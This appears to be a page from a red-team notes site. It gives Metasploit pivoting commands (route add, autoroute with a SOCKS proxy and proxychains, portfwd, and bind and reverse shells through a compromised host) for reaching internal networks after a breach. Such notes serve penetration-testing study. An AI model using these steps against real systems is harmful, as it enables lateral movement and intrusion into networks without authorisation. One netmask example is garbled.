The Hive
GitHubLinkedInEmail
  • 🏠Home
  • 🌐RECON
    • 📡Passive (OSINT)
      • ⏩Metadata
      • ⏩Social Platforms
        • Email
        • Tumbler
        • Redit
        • Github
        • Tinder
        • TikTok
        • Snapchat
        • Instagram
        • Facebook
        • Twitter
        • Google
        • LinkedIn
    • 📡Active
      • ⏩Host Discovery / Network Mapping
      • ⏩nmap cheat sheet
      • ⏩masscan cheat sheet
    • 📡Web Recon
      • ⏩Web Server Discovery
      • ⏩Hidden Hosts
      • ⏩Directories & Subdomains
      • ⏩SSL Certs
      • ⏩CMS
      • ⏩WAF Detection
    • 📡Firewall Evasion
  • 📗Web Attacks
    • 🟢Server Side
      • 🟩Authentication Mechanisms
      • 🟩Access Control (Authorization)
      • 🟩Directory Traversal
      • 🟩OS Command Injection
      • 🟩Server-Side Request Forgery (SSRF)
      • 🟩XML External Entity (XXE) Injection
      • 🟩File Upload
      • 🔧SQL Injection
      • 🟩Information Disclosure
      • 🟩Business Logic
    • 🟢Client Side
      • 🟩Cross-site request forgery (CSRF)
      • 🔧Cross-site scripting (XSS)
  • 📒Network attacks
    • 🟡Network Services
      • 🟨Brute Force
      • 🟨DNS
      • 🟨IPv6
      • 🟨FTP
      • 🟨SSH
      • 🟨SMB
      • 🟨SNMP
      • 🟨SMTP
      • 🟨POP3
      • 🟨IMAP
      • 🟨MSSQL
      • 🟨MySQL
      • 🟨MSRPC / RPCbind
      • 🟨LDAP
      • 🟨NTP
      • 🟨NFS
      • 🟨Telnet
      • 🟨WebDAV
      • 🟨RDP
      • 🟨RSIP
      • 🟨Rlogin
      • 🟨VPNs
      • 🟨Echo
      • 🔧RTP
      • 🔧VOIP
        • SIP
    • 🟡Network Devices
      • 🟨IPv6 Attacks
        • Neighbor Impersonation
        • Router Advertisement Flooding
      • 🟨Switch Attacks
        • Cisco Exploitation
        • STP Spoofing
        • VLAN Hopping
        • MAC Flood
      • 🟨Router Attacks
        • Router Exploitation
        • HSRP Hijacking
        • 🔧RIP Spoofing
        • 🔧OSPF Attacks
        • 🔧VRRP MitM
      • 🟨NAC Bypass
        • Captive Portal
        • 802.1X / EAP Bypass
      • 🟨Printer Exploitation
    • 🟡MITM & Poisoning
      • 🟨Bettercap
      • 🟨HTTPS Downgrade / HSTS Bypass
      • 🟨Session Hijackings
      • 🟨Malicious Update
      • 🟨RDP Downgrade
      • 🟨DNS Spoofing
      • 🟨NTP Spoofing
      • 🟨ARP Spoofing
      • 🟨DHCP Poisoning
      • 🟨DHCPv6 Spoofing
      • 🟨SSDP Spoofing
      • 🟨WSUS Spoofing
      • 🟨ADIDNS Poisoning
      • 🟨WPAD Abuse
    • 🟡Wireless Attacks
      • 🟨Protocol Concepts
      • 🟨Basics
      • 🟨Attacks
    • 🟡Sniffing
      • 🟨Wireshark
      • 🟨tcpdump
    • 🟡Denial of Service
  • 📕Red Team
    • 🔴Windows
      • ⭕Security Concepts
        • Windows Security Components
        • Active Directory Components
        • Kerberos
        • Loggon Sessions and Access Tokens
        • Permissions and Access Control
        • Windows Registry
        • Object Management
      • ⭕Physical Attack
      • ⭕Enumeration
      • ⭕Privilege Escalation
        • DLL Hijacking
          • Phantom DLL Hijacking / Replacement
          • Search Order Hijacking ( Preloading )
          • DLL Side-Loading
        • Service Misconfigurations
          • Weak Registry Permissions
          • Insecure Service Executables
          • Insecure Permission
          • Unquoted Service Path
        • Creating a New Service (admin to system)
        • Registry
          • AlwaysInstallElevated
          • AutoRuns
        • Scheduled Tasks
        • Mass Roll-outs
        • Startup Apps
        • Installed Applications
        • Loopback Services
        • Insecure GUI APPs
        • Potatos
        • Printspoofer / SEImpersonate
        • PSEXEC (admin to system)
      • ⭕Credential Dumping
      • ⭕Persistence
        • Invisible Account Forger
        • Add User
        • Scheduled Tasks
        • Run Registry Keys
        • Logon Scripts
        • Screensavers Hijack
        • Powershell Profiles & Modules
        • Service Creation/Modification
        • Shortcut Modification
        • Startup Folder
        • RDP backdoors
        • COM Hijacking
    • 🔴Active Directory
      • ⭕Domain Enumeration
      • ⭕Tools & Frameworks
        • Evil-WinRM
        • CME cheat sheet
        • SharpSploit
        • impacket cheat sheet
        • DeathStar
      • ⭕Exploitation
        • LLMNR Poisoning
        • SMB/NTLM Relay
        • DNS Takeover + LDAP Relay
        • Cracking Hashes
        • Password spraying
        • ADCS + PetitPotam NTLM Relay
        • EternalBlue
        • ZeroLogon
        • MS Exchange ProxyShell
        • MS Exchange ProxyLogon
        • Java JBOSS
      • ⭕Privilege Escalation
        • Token Impersonation
        • DNS Admins
        • AD CS Abuse
        • ACL Abuse
          • GenericAll
          • Write Property
          • Self-membership
          • ForceChangePassword
          • Managed Security Groups
          • Exchange Windows Permissions
        • Group Policy Objects (GPOs)
        • Custom SSPs
        • PrintNightmare
      • ⭕Lateral Movement
        • RDP Password Decryption
        • RDP Session Hijacking
        • headless RDP with SharpRDP
        • Domain Shares
        • SCF File Attacks
        • Pass the Hash / Password
        • Overpass the Hash / Pass the Key
        • Pass The Ticket
        • Kerberosting / AS-REP Rosting
        • Kerberos Delegation
      • ⭕Credential Dumping
        • CredSSP / TSPKG
        • Wdigest Clear Text
        • DPAPI secrets
        • SAM & Registry
        • NTDS.dit & vshadow
        • comsvcs.dll
        • Meterpreter
        • Procdump & LSASS
        • AD User Comments
        • SYSVOL & Group Policy Preferences
        • LAPS Passwords
        • GSMA Passwords
        • HiveNightmare
        • Mimikatz Cheat sheet
        • Other Tools / Techniques
      • ⭕Persistence
        • Certificates
        • DCSync
        • DCShadow
        • Silver Ticket
        • Golden Ticket
        • Skeleton Key
        • WMI
        • PowerShell Remoting
        • Remote Registry
        • Rights Abuse
        • AdminSDHolder
        • DSRM
        • Kerberos Checksum Validation ( MS14-068 )
    • 🔴Linux
      • ⭕Physical Attacks
      • ⭕Enumeration
      • ⭕Privilege Escalation
        • SUID / SGID abuse
        • /etc/shadow & /etc/passwd
        • cron/crontab abuse
        • Sudo Abuse
        • Capabilities Abuse
        • Environment Variables
          • LD_LIBRARY_PATH
          • LD_PRELOAD
        • Shared Object Injection
        • NFS
        • man CE Pager Argument
        • MySQL UDF
        • UDEVD
        • STDIN/STDOUT
        • Unix Socket Exploitation
        • Dirty Pipe
        • Docker
          • SUID Docker
      • ⭕Lateral Movement
        • Infecting Running Processes
        • VIM Config File Keylogger
        • SSH Hijacking
        • Samba Secrets to Domain Admin
        • Hiding Processes
        • Simple User-mode Rootkits
        • Vino VNC Server
      • ⭕Credential Dumping
        • Swap Dump
        • mimipinguin
        • unshadow
        • 3snake
      • ⭕Persistence
        • Startup User File Backdoor
        • PHP Backdoor
        • Apache mod_rootme
        • Startup Service Backdoor
        • xdg Backdoor
        • rootbash SUID
        • apt Backdoor
        • Driver Backdoor
        • Core Pattern
        • dash Backdoor
        • Creating an SUID Binary
        • Systemd netcat bind shell
        • Xinetd UDP portnock
        • openSSL reverse shell
        • motd Backdoor
        • Auth Log Backdoor
        • RSYSLOG Backdoor
        • sshd Backdoor
        • VIM Config Backdoor
        • .bashrc Backdoor
        • Adding a Root user
        • Crontab Reverse Shell
        • SSH persistence password-less
      • ⭕Covering Tracks
    • 🔴Command & Control (C2)
      • ⭕Cobalt Strike
      • ⭕Metasploit
      • ⭕Empire & Starkiller
      • ⭕Covenant
    • 🔴Shells and Payloads
      • ⭕Shell Escape / Interactive Shell
      • ⭕LOL Binaries
      • ⭕msfvenom
      • ⭕SharpShooter & Ivy
      • ⭕Other Payloads
    • 🔴Payload Delivery
      • ⭕Powershell Reflective DLL Load
      • ⭕HTML Smuggling
      • ⭕Office Macros
      • ⭕DDE Auto - Word/Excel
      • ⭕.SLK Excel
      • ⭕XLM Macro 4.0
      • ⭕LNK
      • ⭕embedded OLE + LNK objects
      • ⭕JScript
      • ⭕HTA
      • ⭕VBS
      • ⭕VBA
      • ⭕RTF
      • ⭕REG
      • ⭕MSI / MSIEXEC
      • ⭕IQY
      • ⭕CHM / HHC
      • ⭕SCR
    • 🔴Pivoting
      • ⭕SSH Forwarding
      • ⭕Socat Stealth Port Forward
      • ⭕Socat Reverse Shell Relay
      • ⭕HTTP Tunneling
      • ⭕ICMP Tunneling
      • ⭕DNS Tunneling
      • ⭕Metasploit Pivoting
      • ⭕Cobalt Strike Pivoteing
      • ⭕VPN Tunneling
      • ⭕Other Tools
    • 🔴Exfiltration / File Transfer
      • ⭕Encode / Decode Files
      • ⭕TCP / UDP
      • ⭕DNS
      • ⭕SSH
      • ⭕ICMP
      • ⭕SMB
      • ⭕FTP
      • ⭕HTTP
      • ⭕Other Methods
    • 🔴Password Attacks
      • ⭕Online Attacks
      • ⭕Offline Attack
      • ⭕Word List
      • ⭕Cheat Sheet
    • 🔴Defense Evasion
      • ⭕Basic Tricks
      • 🔧Powershell Tricks
      • ⭕Disabling Defenses
      • ⭕UAC Bypass
      • ⭕Process Migration
      • ⭕Dechaining Macros
      • ⭕VBA Sandbox Evasion
      • ⭕AMSI Bypass
      • ⭕SRP & AppLocker Bypass
      • ⭕GPO Bypass
  • 📘Blue Team
    • 🔵Threat Modeling / Hunting / Intelligence
    • 🔵Linux Hardening
      • 🔹OS Security
        • Update Strategy
        • Service Management
        • Physical Security
        • Grub Hardening
        • Kernel Parameters
        • Process Isolation
      • 🔹Accounts & Passwords
        • Users & Groups
        • Password Security & Sudoers
      • 🔹Access Control & Ownership
      • 🔹File System Security
      • 🔹Integrity Check
      • 🔹Sandboxing
      • 🔹Network
      • 🔹iptables
        • Rule Sets
      • 🔹Service Hardening
        • BIND9
        • vsftpd
        • Nginx
        • Apache
        • SSH
      • 🔹System Audit
      • 🔹Logging
        • auditd
      • 🔹Encryption
    • 🔵Security Architecture
      • 🔹Layered Security
  • 🟪Purple Teaming
    • 🟣Adversary Emulation
  • 🟧programming
    • 🟠C Programming
      • 🔸Basic Structure
      • 🔸GCC Compiler
      • 🔸Preprocessors
      • 🔸Data Types
      • 🔸Type Qualifiers
      • 🔸Pointers
      • 🔸Dynamic Memory Allocation
      • 🔸Loops
      • 🔸Conditional Statements
      • 🔸Functions
      • 🔸Input / Output
      • 🔸Macros
      • 🔸Files
      • 🔸Strings Manipulation
      • 🔸Bit Manipulation
      • 🔸Data Structures
        • Arrays
        • Structures
        • Unions
      • 🔸Abstract Data Types
        • Stack
        • Queue
        • Linked List
          • Singly Linked List
          • Doubly Linked List
      • 🔸Libraries & Linking
      • 🔸Error Recovery
    • 🔧Assembly ( NASM )
      • Intel IA-32 Environment
      • Basic Structure
      • Variables and Data Types
      • Most-used Instructions
      • input / output
  • 🟫Miscellaneous
    • 🟤GNU Screen / tmux
    • 🟤SSH Tricks
    • 🟤Cats
      • netcat
      • ncat
      • pwncat
      • socat
      • 🔧powercat
    • 🟤Curl
    • 🟤Cross-compiling Binaries
Powered by GitBook
On this page
  • Manual Route
  • Auto Route Reverse Tunnel
  • Port Forward
  • Pivote Bind Shell
  • Pivot Reverse Shell
  1. Red Team
  2. Pivoting

Metasploit Pivoting

Manual Route

this method will give the full access to the target IP address like its siting in our LAN ( only accessible in metasploit )

background the session
route add 10.0.1.0/24 [session id]

Auto Route Reverse Tunnel

Once the Meterpreter session is active, we’ll send it to the background and switch to the multi/manage/autoroute module. This will allow us to configure a reverse tunnel through the Meterpreter session and use that with a SOCKS proxy.

use multi/manage/autoroute
set session 1
exploit

use auxiliary/server/socks4a
set srvhost 127.0.0.1
exploit -j

The autoroute module creates a reverse tunnel and allows us to direct network traffic into the appropriate subnet.

We can use a local proxy application like Proxychains to force TCP traffic through a TOR or SOCKS proxy. We can configure it by adding the SOCKS4 proxy IP and port to the config file (/etc/proxychains.conf):

proxychains rdesktop 192.168.120.10

The route created by Meterpreter also allows us to access any other computer on that internal network.

If you get an error regarding the CredSSP, use xfreerdp instead of rdesktop.

Port Forward

forward only the given remote port to the given local port specifically ( only accessible in msfconsole )

portfwd [add | delete | list | flush]  -L [optional local ip] -l [local port] -p [remote port] -r [remote ip]

portfwd add -L 0.0.0.0 -l 8000 -p 80 -r 10.1.0.5

now we can scan our local port 8000 to scan the remote port 80 of the target

Pivote Bind Shell

usually used when exploiting a machine in the internal network. first we have to do port forwarding to scan the network

Always use a bind shell when pivoting.

portfwd add -L 0.0.0.0 -l 8000 -p 80 -r 10.1.0.5

now add a route to target ip in the internal network

route -h
route add 10.0.1.5/24 [session number] 

now choose your exploit and set the rhost to the target ip in the internal network and run the exploit and remember:

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 2552.55.255.0 8)
use auxiliary/server/socks4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Another way:

background #meterpreter session
use post/windows/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks4a
run #Proxy port 1080 by default

if we use a reverse shell the target machine on the internal network wont be able to route back the packets to us

Pivot Reverse Shell

while using a reverse shell with pivoting we have to set the RHOST to target IP in the internal network and set the LHOST to the machine that we have already compromised.

Reverse shells pivots are not OPSEC-safe since we are establishing a TCP connection between 2 systems in the internal network.

RHOST >>> internal target
LHOST >>> compromized machine
PreviousDNS TunnelingNextCobalt Strike Pivoteing

Last updated 2 years ago

📕
🔴
⭕